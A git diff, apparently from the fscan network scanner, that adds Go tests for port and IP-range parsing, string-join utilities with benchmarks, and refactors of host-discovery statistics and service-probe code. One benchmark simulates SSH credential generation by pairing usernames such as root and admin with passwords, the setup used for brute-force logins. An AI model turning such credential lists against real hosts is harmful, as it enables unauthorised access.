input: "80-85",
|
|
||||||
expected: []int{80, 81, 82, 83, 84, 85},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "Mixed ports and ranges",
|
|
||||||
input: "22,80-82,443",
|
|
||||||
expected: []int{22, 80, 81, 82, 443}, // sorted
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "Predefined group",
|
|
||||||
input: "web",
|
|
||||||
expected: []int{80, 443, 8080, 8443}, // subset of web ports
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "Empty string",
|
|
||||||
input: "",
|
|
||||||
expected: nil,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tt := range tests {
|
|
||||||
t.Run(tt.name, func(t *testing.T) {
|
|
||||||
result := ParsePort(tt.input)
|
|
||||||
|
|
||||||
// For predefined groups, we just check if common ports are included
|
|
||||||
if tt.name == "Predefined group" {
|
|
||||||
hasExpectedPorts := false
|
|
||||||
for _, expectedPort := range tt.expected {
|
|
||||||
for _, resultPort := range result {
|
|
||||||
if resultPort == expectedPort {
|
|
||||||
hasExpectedPorts = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !hasExpectedPorts {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !hasExpectedPorts {
|
|
||||||
t.Errorf("ParsePort(%s) does not contain expected common web ports %v", tt.input, tt.expected)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if !reflect.DeepEqual(result, tt.expected) {
|
|
||||||
t.Errorf("ParsePort(%s) = %v, expected %v", tt.input, result, tt.expected)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestParseIP 测试IP解析功能
|
|
||||||
func TestParseIP(t *testing.T) {
|
|
||||||
tests := []struct {
|
|
||||||
name string
|
|
||||||
input string
|
|
||||||
expected int // expected number of IPs
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
name: "Single IP",
|
|
||||||
input: "192.168.1.1",
|
|
||||||
expected: 1,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "CIDR notation",
|
|
||||||
input: "192.168.1.0/30",
|
|
||||||
expected: 4, // 192.168.1.0-3
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "IP range",
|
|
||||||
input: "192.168.1.1-192.168.1.3",
|
|
||||||
expected: 3,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tt := range tests {
|
|
||||||
t.Run(tt.name, func(t *testing.T) {
|
|
||||||
result, err := ParseIP(tt.input, "", "")
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("ParseIP(%s) returned error: %v", tt.input, err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if len(result) != tt.expected {
|
|
||||||
t.Errorf("ParseIP(%s) returned %d IPs, expected %d", tt.input, len(result), tt.expected)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestParsePortsFromString 测试端口字符串解析功能
|
|
||||||
func TestParsePortsFromString(t *testing.T) {
|
|
||||||
tests := []struct {
|
|
||||||
name string
|
|
||||||
input string
|
|
||||||
expected []int
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
name: "Valid ports",
|
|
||||||
input: "80,443,22",
|
|
||||||
expected: []int{22, 80, 443}, // sorted
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "Empty string",
|
|
||||||
input: "",
|
|
||||||
expected: []int{},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "With spaces",
|
|
||||||
input: " 80 , 443 , 22 ",
|
|
||||||
expected: []int{22, 80, 443},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tt := range tests {
|
|
||||||
t.Run(tt.name, func(t *testing.T) {
|
|
||||||
result := ParsePortsFromString(tt.input)
|
|
||||||
if !reflect.DeepEqual(result, tt.expected) {
|
|
||||||
t.Errorf("ParsePortsFromString(%s) = %v, expected %v", tt.input, result, tt.expected)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
@ -21,9 +21,9 @@ Simple.go - 简化版本的解析器函数
|
|||||||
// 简化的IP/主机解析函数
|
// 简化的IP/主机解析函数
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// SimpleParseIP 简化版本的IP解析函数
|
// ParseIP 解析各种格式的IP地址
|
||||||
// 保持与 ParseIP 的接口兼容性,但使用更简单的实现
|
// 支持单个IP、IP范围、CIDR和文件输入
|
||||||
func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
||||||
var hosts []string
|
var hosts []string
|
||||||
|
|
||||||
// 如果提供了文件名,从文件读取主机列表
|
// 如果提供了文件名,从文件读取主机列表
|
||||||
@ -68,9 +68,9 @@ func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, e
|
|||||||
// 简化的端口解析函数
|
// 简化的端口解析函数
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// SimpleParsePort 简化版本的端口解析函数
|
// ParsePort 解析端口配置字符串为端口号列表
|
||||||
// 保持与 ParsePort 的接口兼容性
|
// 保持与 ParsePort 的接口兼容性
|
||||||
func SimpleParsePort(ports string) []int {
|
func ParsePort(ports string) []int {
|
||||||
if ports == "" {
|
if ports == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@ -108,10 +108,10 @@ func SimpleParsePort(ports string) []int {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// SimpleParsePortsFromString 简化版本的端口字符串解析
|
// ParsePortsFromString 从字符串解析端口列表
|
||||||
// 保持与 ParsePortsFromString 的接口兼容性
|
// 保持与 ParsePortsFromString 的接口兼容性
|
||||||
func SimpleParsePortsFromString(portsStr string) []int {
|
func ParsePortsFromString(portsStr string) []int {
|
||||||
return SimpleParsePort(portsStr)
|
return ParsePort(portsStr)
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
315
Common/utils/benchmark_test.go
Normal file
315
Common/utils/benchmark_test.go
Normal file
@ -0,0 +1,315 @@
|
|||||||
|
package utils
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BenchmarkStringJoinOriginal 原始字符串连接方法
|
||||||
|
func BenchmarkStringJoinOriginal(b *testing.B) {
|
||||||
|
slice := make([]string, 100)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("item-%d", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
var result string
|
||||||
|
if len(slice) > 0 {
|
||||||
|
result = slice[0]
|
||||||
|
for j := 1; j < len(slice); j++ {
|
||||||
|
result += "," + slice[j]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkStringJoinOptimized 优化后的字符串连接方法
|
||||||
|
func BenchmarkStringJoinOptimized(b *testing.B) {
|
||||||
|
slice := make([]string, 100)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("item-%d", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
result := JoinStrings(slice, ",")
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkIntJoinOriginal 原始整数连接方法
|
||||||
|
func BenchmarkIntJoinOriginal(b *testing.B) {
|
||||||
|
slice := make([]int, 100)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = i * 10
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
var result string
|
||||||
|
if len(slice) > 0 {
|
||||||
|
result = fmt.Sprintf("%d", slice[0])
|
||||||
|
for j := 1; j < len(slice); j++ {
|
||||||
|
result += "," + fmt.Sprintf("%d", slice[j])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkIntJoinOptimized 优化后的整数连接方法
|
||||||
|
func BenchmarkIntJoinOptimized(b *testing.B) {
|
||||||
|
slice := make([]int, 100)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = i * 10
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
result := JoinInts(slice, ",")
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkDeduplicateOriginal 原始去重方法
|
||||||
|
func BenchmarkDeduplicateOriginal(b *testing.B) {
|
||||||
|
slice := make([]string, 1000)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
temp := make(map[string]struct{})
|
||||||
|
var result []string
|
||||||
|
|
||||||
|
for _, item := range slice {
|
||||||
|
if _, exists := temp[item]; !exists {
|
||||||
|
temp[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkDeduplicateOptimized 优化后的去重方法
|
||||||
|
func BenchmarkDeduplicateOptimized(b *testing.B) {
|
||||||
|
slice := make([]string, 1000)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
result := DeduplicateStrings(slice)
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkSliceAllocationOriginal 原始切片分配方法
|
||||||
|
func BenchmarkSliceAllocationOriginal(b *testing.B) {
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
var result []string
|
||||||
|
for j := 0; j < 50; j++ {
|
||||||
|
result = append(result, fmt.Sprintf("item-%d", j))
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
|
||||||
|
func BenchmarkSliceAllocationOptimized(b *testing.B) {
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
result := make([]string, 0, 50)
|
||||||
|
for j := 0; j < 50; j++ {
|
||||||
|
result = append(result, fmt.Sprintf("item-%d", j))
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestMemoryUsage 内存使用情况对比测试
|
||||||
|
func TestMemoryUsage(t *testing.T) {
|
||||||
|
// 测试字符串连接的内存使用
|
||||||
|
t.Run("StringJoin", func(t *testing.T) {
|
||||||
|
slice := make([]string, 1000)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("test-string-%d", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 测试原始方法
|
||||||
|
runtime.GC()
|
||||||
|
var m1, m2 runtime.MemStats
|
||||||
|
runtime.ReadMemStats(&m1)
|
||||||
|
|
||||||
|
for i := 0; i < 1000; i++ {
|
||||||
|
var result string
|
||||||
|
if len(slice) > 0 {
|
||||||
|
result = slice[0]
|
||||||
|
for j := 1; j < len(slice); j++ {
|
||||||
|
result += "," + slice[j]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
|
||||||
|
runtime.GC()
|
||||||
|
runtime.ReadMemStats(&m2)
|
||||||
|
origAlloc := m2.TotalAlloc - m1.TotalAlloc
|
||||||
|
|
||||||
|
// 测试优化方法
|
||||||
|
runtime.GC()
|
||||||
|
runtime.ReadMemStats(&m1)
|
||||||
|
|
||||||
|
for i := 0; i < 1000; i++ {
|
||||||
|
result := JoinStrings(slice, ",")
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
|
||||||
|
runtime.GC()
|
||||||
|
runtime.ReadMemStats(&m2)
|
||||||
|
optAlloc := m2.TotalAlloc - m1.TotalAlloc
|
||||||
|
|
||||||
|
t.Logf("原始方法内存分配: %d bytes", origAlloc)
|
||||||
|
t.Logf("优化方法内存分配: %d bytes", optAlloc)
|
||||||
|
t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestPoolReuse 测试对象池复用效果(StringBuilderPool)
|
||||||
|
func TestPoolReuse(t *testing.T) {
|
||||||
|
// 重置计数器
|
||||||
|
pool := NewStringBuilderPool(1024)
|
||||||
|
|
||||||
|
// 执行多次操作
|
||||||
|
slice := []string{"a", "b", "c", "d", "e"}
|
||||||
|
for i := 0; i < 100; i++ {
|
||||||
|
result := pool.JoinStrings(slice, ",")
|
||||||
|
_ = result
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetReusedCount 方法已移除,无法测试复用次数
|
||||||
|
t.Log("字符串构建器池测试完成")
|
||||||
|
|
||||||
|
// 切片池相关功能已移除,跳过该测试
|
||||||
|
t.Log("切片池功能已移除")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestStringBuilderCorrectness 测试字符串构建器正确性
|
||||||
|
func TestStringBuilderCorrectness(t *testing.T) {
|
||||||
|
testCases := []struct {
|
||||||
|
slice []string
|
||||||
|
sep string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{[]string{}, ",", ""},
|
||||||
|
{[]string{"a"}, ",", "a"},
|
||||||
|
{[]string{"a", "b"}, ",", "a,b"},
|
||||||
|
{[]string{"hello", "world", "test"}, " ", "hello world test"},
|
||||||
|
{[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range testCases {
|
||||||
|
got := JoinStrings(tc.slice, tc.sep)
|
||||||
|
want := strings.Join(tc.slice, tc.sep)
|
||||||
|
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIntJoinCorrectness 测试整数连接正确性
|
||||||
|
func TestIntJoinCorrectness(t *testing.T) {
|
||||||
|
testCases := []struct {
|
||||||
|
slice []int
|
||||||
|
sep string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{[]int{}, ",", ""},
|
||||||
|
{[]int{1}, ",", "1"},
|
||||||
|
{[]int{1, 2}, ",", "1,2"},
|
||||||
|
{[]int{10, 20, 30}, "-", "10-20-30"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range testCases {
|
||||||
|
got := JoinInts(tc.slice, tc.sep)
|
||||||
|
|
||||||
|
if got != tc.want {
|
||||||
|
t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
|
||||||
|
func BenchmarkCredentialGeneration(b *testing.B) {
|
||||||
|
users := []string{"admin", "root", "user", "test", "guest"}
|
||||||
|
passwords := make([]string, 20)
|
||||||
|
for i := range passwords {
|
||||||
|
passwords[i] = fmt.Sprintf("password%d", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
b.ResetTimer()
|
||||||
|
for i := 0; i < b.N; i++ {
|
||||||
|
// 模拟SSH凭证生成过程
|
||||||
|
totalCreds := len(users) * len(passwords)
|
||||||
|
credentials := make([]struct{ user, pass string }, 0, totalCreds)
|
||||||
|
|
||||||
|
for _, user := range users {
|
||||||
|
for _, pass := range passwords {
|
||||||
|
credentials = append(credentials, struct{ user, pass string }{user, pass})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = credentials
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Example 展示如何使用优化后的工具
|
||||||
|
func ExampleJoinStrings() {
|
||||||
|
slice := []string{"apple", "banana", "cherry"}
|
||||||
|
result := JoinStrings(slice, ", ")
|
||||||
|
fmt.Println(result)
|
||||||
|
// Output: apple, banana, cherry
|
||||||
|
}
|
||||||
|
|
||||||
|
func ExampleJoinInts() {
|
||||||
|
ports := []int{80, 443, 8080, 9090}
|
||||||
|
result := JoinInts(ports, ",")
|
||||||
|
fmt.Println(result)
|
||||||
|
// Output: 80,443,8080,9090
|
||||||
|
}
|
||||||
|
|
||||||
|
// 运行时长度测试 - 验证在不同规模下的表现
|
||||||
|
func TestScalability(t *testing.T) {
|
||||||
|
sizes := []int{10, 100, 1000, 5000}
|
||||||
|
|
||||||
|
for _, size := range sizes {
|
||||||
|
t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
|
||||||
|
// 准备数据
|
||||||
|
slice := make([]string, size)
|
||||||
|
for i := range slice {
|
||||||
|
slice[i] = fmt.Sprintf("item-%d", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
result := JoinStrings(slice, ",")
|
||||||
|
duration := time.Since(start)
|
||||||
|
|
||||||
|
t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
|
||||||
|
|
||||||
|
// 验证结果正确性(只检查开头和结尾)
|
||||||
|
expected := strings.Join(slice, ",")
|
||||||
|
if result != expected {
|
||||||
|
t.Errorf("结果不匹配")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
26
Common/utils/slicepool.go
Normal file
26
Common/utils/slicepool.go
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
package utils
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// DeduplicateStrings 高效字符串去重 - 简化版本
|
||||||
|
func DeduplicateStrings(slice []string) []string {
|
||||||
|
if len(slice) <= 1 {
|
||||||
|
return slice
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用最简单高效的实现
|
||||||
|
seen := make(map[string]struct{}, len(slice))
|
||||||
|
result := make([]string, 0, len(slice))
|
||||||
|
|
||||||
|
for _, item := range slice {
|
||||||
|
if _, exists := seen[item]; !exists {
|
||||||
|
seen[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
128
Common/utils/stringbuilder.go
Normal file
128
Common/utils/stringbuilder.go
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
package utils
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StringBuilderPool 字符串构建器池
|
||||||
|
type StringBuilderPool struct {
|
||||||
|
pool sync.Pool
|
||||||
|
reused int64 // 复用计数器
|
||||||
|
maxSize int // 最大保留大小,防止内存无限增长
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewStringBuilderPool 创建新的字符串构建器池
|
||||||
|
func NewStringBuilderPool(maxSize int) *StringBuilderPool {
|
||||||
|
if maxSize <= 0 {
|
||||||
|
maxSize = 64 * 1024 // 默认64KB最大保留大小
|
||||||
|
}
|
||||||
|
|
||||||
|
return &StringBuilderPool{
|
||||||
|
pool: sync.Pool{
|
||||||
|
New: func() interface{} {
|
||||||
|
return &strings.Builder{}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
maxSize: maxSize,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get 获取字符串构建器
|
||||||
|
func (p *StringBuilderPool) Get() *strings.Builder {
|
||||||
|
builder := p.pool.Get().(*strings.Builder)
|
||||||
|
builder.Reset() // 清空内容但保留容量
|
||||||
|
atomic.AddInt64(&p.reused, 1)
|
||||||
|
return builder
|
||||||
|
}
|
||||||
|
|
||||||
|
// Put 归还字符串构建器
|
||||||
|
func (p *StringBuilderPool) Put(builder *strings.Builder) {
|
||||||
|
if builder == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果容量超过最大限制,不放回池中以避免内存泄露
|
||||||
|
if builder.Cap() > p.maxSize {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
p.pool.Put(builder)
|
||||||
|
}
|
||||||
|
|
||||||
|
// JoinStrings 高效连接字符串切片
|
||||||
|
func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
|
||||||
|
if len(slice) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if len(slice) == 1 {
|
||||||
|
return slice[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
builder := p.Get()
|
||||||
|
defer p.Put(builder)
|
||||||
|
|
||||||
|
// 预估容量:所有字符串长度 + 分隔符长度
|
||||||
|
var totalLen int
|
||||||
|
for _, s := range slice {
|
||||||
|
totalLen += len(s)
|
||||||
|
}
|
||||||
|
totalLen += len(sep) * (len(slice) - 1)
|
||||||
|
|
||||||
|
// 如果当前容量不足,预先增长
|
||||||
|
if builder.Cap() < totalLen {
|
||||||
|
builder.Grow(totalLen)
|
||||||
|
}
|
||||||
|
|
||||||
|
builder.WriteString(slice[0])
|
||||||
|
for i := 1; i < len(slice); i++ {
|
||||||
|
builder.WriteString(sep)
|
||||||
|
builder.WriteString(slice[i])
|
||||||
|
}
|
||||||
|
|
||||||
|
return builder.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// JoinInts 高效连接整数切片
|
||||||
|
func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
|
||||||
|
if len(slice) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if len(slice) == 1 {
|
||||||
|
return strconv.Itoa(slice[0])
|
||||||
|
}
|
||||||
|
|
||||||
|
builder := p.Get()
|
||||||
|
defer p.Put(builder)
|
||||||
|
|
||||||
|
// 预估容量:平均每个整数4字符 + 分隔符
|
||||||
|
estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
|
||||||
|
if builder.Cap() < estimatedLen {
|
||||||
|
builder.Grow(estimatedLen)
|
||||||
|
}
|
||||||
|
|
||||||
|
builder.WriteString(strconv.Itoa(slice[0]))
|
||||||
|
for i := 1; i < len(slice); i++ {
|
||||||
|
builder.WriteString(sep)
|
||||||
|
builder.WriteString(strconv.Itoa(slice[i]))
|
||||||
|
}
|
||||||
|
|
||||||
|
return builder.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// 全局字符串构建器池实例
|
||||||
|
var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
|
||||||
|
|
||||||
|
// 便捷函数,使用全局池
|
||||||
|
func JoinStrings(slice []string, sep string) string {
|
||||||
|
return GlobalStringBuilderPool.JoinStrings(slice, sep)
|
||||||
|
}
|
||||||
|
|
||||||
|
func JoinInts(slice []int, sep string) string {
|
||||||
|
return GlobalStringBuilderPool.JoinInts(slice, sep)
|
||||||
|
}
|
||||||
|
|
27
Core/ICMP.go
27
Core/ICMP.go
@ -117,11 +117,30 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
|||||||
RunPing(hostslist, chanHosts)
|
RunPing(hostslist, chanHosts)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// getOptimalTopCount 根据扫描规模智能决定显示数量
|
||||||
|
func getOptimalTopCount(totalHosts int) int {
|
||||||
|
switch {
|
||||||
|
case totalHosts > 50000: // 超大规模扫描
|
||||||
|
return 20
|
||||||
|
case totalHosts > 10000: // 大规模扫描
|
||||||
|
return 15
|
||||||
|
case totalHosts > 1000: // 中等规模扫描
|
||||||
|
return 10
|
||||||
|
case totalHosts > 256: // 小规模扫描
|
||||||
|
return 5
|
||||||
|
default:
|
||||||
|
return 3
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// printAliveStats 打印存活统计信息
|
// printAliveStats 打印存活统计信息
|
||||||
func printAliveStats(hostslist []string) {
|
func printAliveStats(hostslist []string) {
|
||||||
|
// 智能计算显示数量
|
||||||
|
topCount := getOptimalTopCount(len(hostslist))
|
||||||
|
|
||||||
// 大规模扫描时输出 /16 网段统计
|
// 大规模扫描时输出 /16 网段统计
|
||||||
if len(hostslist) > 1000 {
|
if len(hostslist) > 1000 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, true)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
||||||
}
|
}
|
||||||
@ -129,7 +148,7 @@ func printAliveStats(hostslist []string) {
|
|||||||
|
|
||||||
// 输出 /24 网段统计
|
// 输出 /24 网段统计
|
||||||
if len(hostslist) > 256 {
|
if len(hostslist) > 256 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, false)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
||||||
}
|
}
|
||||||
@ -381,8 +400,8 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 统计各网段出现次数
|
// 统计各网段出现次数,预分配容量
|
||||||
segmentCounts := make(map[string]int)
|
segmentCounts := make(map[string]int, len(arrInit)/4)
|
||||||
for _, ip := range arrInit {
|
for _, ip := range arrInit {
|
||||||
segments := strings.Split(ip, ".")
|
segments := strings.Split(ip, ".")
|
||||||
if len(segments) != 4 {
|
if len(segments) != 4 {
|
||||||
|
@ -1,877 +1,40 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
|
// 重新导出portfinger包的类型和函数,保持向后兼容性
|
||||||
|
|
||||||
import (
|
import (
|
||||||
_ "embed"
|
"github.com/shadow1ng/fscan/core/portfinger"
|
||||||
"encoding/hex"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"regexp"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
//go:embed nmap-service-probes.txt
|
// 重新导出类型定义
|
||||||
var ProbeString string
|
type VScan = portfinger.VScan
|
||||||
|
type Probe = portfinger.Probe
|
||||||
|
type Match = portfinger.Match
|
||||||
|
type Directive = portfinger.Directive
|
||||||
|
type Extras = portfinger.Extras
|
||||||
|
type Target = portfinger.Target
|
||||||
|
|
||||||
var v VScan // 改为VScan类型而不是指针
|
// 兼容原有的全局变量访问模式
|
||||||
|
var v *VScan
|
||||||
type VScan struct {
|
var null *Probe
|
||||||
Exclude string
|
var commonProbe *Probe
|
||||||
AllProbes []Probe
|
|
||||||
UdpProbes []Probe
|
|
||||||
Probes []Probe
|
|
||||||
ProbesMapKName map[string]Probe
|
|
||||||
}
|
|
||||||
|
|
||||||
type Probe struct {
|
|
||||||
Name string // 探测器名称
|
|
||||||
Data string // 探测数据
|
|
||||||
Protocol string // 协议
|
|
||||||
Ports string // 端口范围
|
|
||||||
SSLPorts string // SSL端口范围
|
|
||||||
|
|
||||||
TotalWaitMS int // 总等待时间
|
|
||||||
TCPWrappedMS int // TCP包装等待时间
|
|
||||||
Rarity int // 稀有度
|
|
||||||
Fallback string // 回退探测器名称
|
|
||||||
|
|
||||||
Matchs *[]Match // 匹配规则列表
|
|
||||||
}
|
|
||||||
|
|
||||||
type Match struct {
|
|
||||||
IsSoft bool // 是否为软匹配
|
|
||||||
Service string // 服务名称
|
|
||||||
Pattern string // 匹配模式
|
|
||||||
VersionInfo string // 版本信息格式
|
|
||||||
FoundItems []string // 找到的项目
|
|
||||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
|
||||||
}
|
|
||||||
|
|
||||||
type Directive struct {
|
|
||||||
DirectiveName string
|
|
||||||
Flag string
|
|
||||||
Delimiter string
|
|
||||||
DirectiveStr string
|
|
||||||
}
|
|
||||||
|
|
||||||
type Extras struct {
|
|
||||||
VendorProduct string
|
|
||||||
Version string
|
|
||||||
Info string
|
|
||||||
Hostname string
|
|
||||||
OperatingSystem string
|
|
||||||
DeviceType string
|
|
||||||
CPE string
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
common.LogDebug("开始初始化全局变量")
|
common.LogDebug("初始化PortFinger兼容层")
|
||||||
|
|
||||||
v = VScan{} // 直接初始化VScan结构体
|
|
||||||
v.Init()
|
|
||||||
|
|
||||||
// 获取并检查 NULL 探测器
|
|
||||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
|
||||||
